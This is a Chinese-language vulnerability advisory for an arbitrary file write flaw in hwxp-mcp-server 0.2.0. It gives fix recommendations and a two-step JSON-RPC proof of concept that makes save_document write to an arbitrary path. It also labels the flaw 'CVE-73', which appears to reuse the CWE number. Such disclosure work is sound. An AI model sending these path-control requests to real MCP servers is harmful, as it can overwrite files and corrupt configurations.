# 漏洞总结:hwxp-mcp-server 任意文件写入漏洞 ## 漏洞概述 * **漏洞名称**:hwxp-mcp-server 任意文件写入漏洞 (CVE-73) * **漏洞类型**:CWE-73 (外部对文件名或路径的控制) * **受影响组件**:`hwxp-mcp-server` (版本 0.2.0) * **漏洞描述**:服务器在处理 `save_document`、`export_to_text` 和 `export_to_html` 等 MCP 工具调用时,未对输出路径进行校验。攻击者可以通过构造包含 `../` 的绝对路径或相对路径,将文件写入到服务器进程可写的任意位置,导致完整性破坏、配置损坏或服务拒绝。 ## 影响范围 * **受影响版本**:0.2.0 * **受影响 Commit**:`87850fd` * **攻击前提**:攻击者需能调用 MCP 服务器工具(如通过 MCP 客户端),且服务器进程拥有对目标路径的写入权限。 ## 修复方案 1. **路径规范化**:使用 `path.resolve` 等函数规范化用户提供的路径,并强制所有输出路径必须位于配置的明确工作空间目录内。 2. **拒绝危险路径**:拒绝包含绝对路径、父目录遍历 (`../`)、符号链接逃逸、设备路径等恶意路径。 3. **输入校验**:对 `open_document` 和 `insert_image` 等输入路径应用相同的安全策略。 4. **回归测试**:添加测试用例,确保 MCP 控制的路径无法读写工作空间之外的位置。 ## POC 代码 (Proof of Concept) **步骤 1:创建新文档** ```json { "jsonrpc": "2.0", "id": 1, "method": "tools/call", "params": { "name": "create_document", "arguments": { "title": "poc", "creator": "poc" } } } ``` **步骤 2:利用漏洞保存文件到任意路径** ```json { "jsonrpc": "2.0", "id": 2, "method": "tools/call", "params": { "name": "save_document", "arguments": { "doc_id": "", "output_path": "/tmp/hwxp-mcp-arbitrary-write.hwxp", "create_backup": false, "verify_integrity": false } } } ```